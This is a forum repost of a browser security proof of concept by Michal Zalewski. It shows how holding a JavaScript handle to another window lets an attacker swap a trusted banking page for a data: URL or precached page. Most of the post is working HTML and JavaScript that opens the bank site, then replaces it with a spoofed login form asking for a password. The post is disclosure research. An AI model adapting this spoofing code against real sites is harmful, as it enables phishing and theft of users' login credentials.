Nytro Posted December 8, 2011 Report Posted December 8, 2011 JavaScript Switcharoo Proof Of ConceptAuthored by Michal Zalewski | Site lcamtuf.coredump.cxIt seems that relatively few people realize that holding a JavaScript handle to another window allows the attacker to tamper with the location and history objects at will, largely bypassing the usual SOP controls. With some minimal effort and the help of data: / javascript: URLs or precached pages, this can be leveraged to replace content in a manner that will likely escape even fairly attentive users./* Another whimsical browser proof-of-concept:http://lcamtuf.coredump.cx/switch/It seems that relatively few people realize that holding a JavaScripthandle to another window (either because we opened it, or because thewindow was at some point displaying our content) allows the attackerto tamper with the location and history objects at will, largelybypassing the usual SOP controls. With some minimal effort and thehelp of data: / javascript: URLs or precached pages, this can beleveraged to replace content in a manner that will likely escape evenfairly attentive users./mz*/<script>/* If you don't get it, beaver.coredump.cx is a trusted banking website; everything else is attacker-controlled. We begin by opening the legitimate, trusted website. Timing is essential. Once the banking website is loaded, follow the displayed security tip. */var spaces = " " + " " + " " + " " + " " + " " + " " + " ";var bank_html = "<title>Beaver Creek Online Banking and BBQ</title>" + "<h1>Beaver Creek Online Banking and BBQ</h1>" + "<p>" + "<font color=crimson>Security tip: please confirm that you see " + "<code>http://beaver.coredump.cx/</code> in the address bar!</font>" + "<p><table><tr>" + "<td>Login:</td><td><input type=text></td></tr><tr>" + "<td>Password:</td><td><input type=password></td></tr></table><p>" + "<input type=submit value='Log in!'>";var w;function dostuff() { /* Precache */ if ('v' == '\v') { var x = new Image(); x.src = 'http://spoofed.coredump.cx/phish/'; } w = window.open('http://beaver.coredump.cx/beaver/', 'target'); setTimeout(dostuff2, 5000);}function dostuff2() { if ('v' == '\v') w.open('http://spoofed.coredump.cx/phish/','target'); else w.location.replace('data:text/html;np.cx/beaver/' + spaces + ',' + escape(bank_html));}</script><h3>The old switcharoo</h3>This is hardly new, but illustrates the effectiveness of usingdata: or precached content to do the deed. You're probablyfooling yourself if you think you'd spot this happening to youin the wild.<p><input type=submit onclick="dostuff()" value="Do it"><p><font color=gray>PS. If you don't get it, close the window and try again. If you're still stumped, view the source.</font>Sursa: JavaScript Switcharoo Proof Of Concept ? Packet Storm Quote